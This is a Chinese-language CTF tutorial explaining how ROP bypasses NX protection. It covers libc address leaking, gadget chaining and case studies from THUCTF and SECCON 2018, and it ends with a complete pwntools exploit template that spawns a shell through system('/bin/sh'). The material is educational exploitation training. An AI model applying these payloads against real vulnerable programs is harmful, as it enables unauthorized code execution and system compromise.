一篇文章带你清晰地理解 ROP 绕过 NX 技术
字数 1603 2025-08-18 11:35:32
ROP 绕过 NX 保护技术详解
一、基础知识准备
1. x86与x64架构区别
- 内存地址范围:x86为32位,x64为64位(但可用地址≤0x00007fffffffffff)
- 参数传递:
- x86:所有参数通过栈传递
- x64:前6个参数依次通过RDI、RSI、RDX、RCX、R8和R9寄存器传递,多余参数通过栈传递
2. 函数调用约定
- _stdcall(Windows API默认)
- _cdecl(C/C++默认)
- _fastcall
- _thiscall
- CTF中关键点:通过IDA阅读汇编代码确定参数传递顺序和堆栈平衡方式
3. libc.so文件的作用
- 提供libc函数之间的偏移地址
- libc加载基地址会变化,但函数相对偏移固定
4. NX保护原理
- No-eXecute(不可执行)保护
- 将数据所在内存页标识为不可执行
- 防止直接在栈中执行shellcode
5. 输入输出函数特性
| 函数 | 特性 |
|---|---|
| scanf("%s",str) | 读取非空白字符,遇到空格/tab/回车结束,添加\0 |
| gets(str) | 读取到回车,用\0替换\n |
| printf("%s",str) | 输出到\0结束 |
| puts(str) | 输出到\0结束,末尾添加\n |
| read/write | 严格按指定字节数操作,可处理任意字符 |
二、ROP技术原理
1. 基本ROP攻击流程
- 覆盖返回地址指向gadget地址
- 执行gadget中的指令(如pop rdi; ret)
- 将参数放入寄存器(如/bin/sh地址放入rdi)
- 跳转到目标函数(如system)
2. 关键问题解决
-
gadget搜索:使用ROPgadget工具
ROPgadget --binary <binary> | grep "pop rdi" -
/bin/sh字符串:
- 检查程序是否已有
- 若无,写入.bss段(通过read/scanf/gets)
-
system函数地址:
- 泄露已执行过的libc函数地址
- 计算libc基地址:
libc_base = leaked_addr - libc_offset - 计算system地址:
system_addr = libc_base + system_offset
三、ROP绕过NX具体步骤
1. 信息收集阶段
- 确定溢出点位置(IDA静态分析或GDB动态调试)
- 检查可用函数:
- 输出函数:write/printf/puts(用于泄露地址)
- 输入函数:read/scanf/gets(用于写入数据)
- 查找.bss段地址:
readelf -S <binary>或IDA查看
2. 地址泄露阶段
- 构造payload1泄露libc函数地址
payload1 = padding + p64(pop_rdi) + p64(got_addr) + p64(puts_plt) + p64(vuln_addr) - 接收泄露的地址并计算libc基地址
3. 攻击实施阶段
- 写入"/bin/sh"到.bss段
payload2 = padding + p64(pop_rdi) + p64(bss_addr) + p64(gets_plt) + ... - 调用system("/bin/sh")
payload2 += p64(pop_rdi) + p64(bss_addr) + p64(system_addr)
四、实战案例解析
案例1:THUCTF - stackoverflowwithoutleak
- 特点:程序中已有system调用(doit函数)
- 利用技巧:vul()函数中有
mov rdi, rsp指令 - POC:
buf = "/bin/sh\0" + 'A'*(8192-8) + p64(0x400722)
案例2:Seccon 2018 - classic
- 确定溢出长度:48+24字节
- 泄露puts地址:
payload1 = 'a'*(48+24) + p64(poprdi_ret) + p64(0x601018) + p64(puts_plt) + p64(vuln_addr) - 处理puts输出特性(注意\n和\0问题)
- 计算system地址:
system_addr = put_addr - put_libc + system_libc - 最终攻击:
payload2 = 'a'*(48+24) + p64(poprdi_ret) + p64(bss_addr) + p64(gets_plt) + p64(poprdi_ret) + p64(bss_addr) + p64(system_addr)
五、实用技巧与工具
-
GDB输入不可见字符:
with open("input", "wb") as f: f.write("\xa9\x06\x40\x00\x00\x00\x00\x00") gdb> r < input -
常用工具:
- ROPgadget
- pwntools
- IDA Pro
- GDB
-
调试技巧:
- 使用
p.recvuntil()清理不必要输出 - 单独测试leak函数确保正确性
- 注意函数延迟绑定机制
- 使用
六、完整POC模板
from pwn import *
# 设置libc
libc = ELF('./libc.so.6')
puts_libc = libc.symbols['puts']
system_libc = libc.symbols['system']
# 程序信息
puts_plt = 0x400520
gets_plt = 0x400560
pop_rdi = 0x400753
vuln_addr = 0x4006A9
bss_addr = 0x601060
# 第一次泄露
p = process('./binary')
payload1 = 'A'*72 + p64(pop_rdi) + p64(0x601018) + p64(puts_plt) + p64(vuln_addr)
p.sendline(payload1)
# 处理泄露地址
leak = u64(p.recv(8).ljust(8, '\x00'))
libc_base = leak - puts_libc
system_addr = libc_base + system_libc
# 第二次攻击
payload2 = 'A'*72 + p64(pop_rdi) + p64(bss_addr) + p64(gets_plt)
payload2 += p64(pop_rdi) + p64(bss_addr) + p64(system_addr)
p.sendline(payload2)
p.sendline('/bin/sh\0')
p.interactive()
通过以上详细讲解和实战案例,应该能够掌握ROP绕过NX保护的核心技术和实践方法。关键是要理解原理,灵活应用各种gadget,并注意不同环境和函数的特性差异。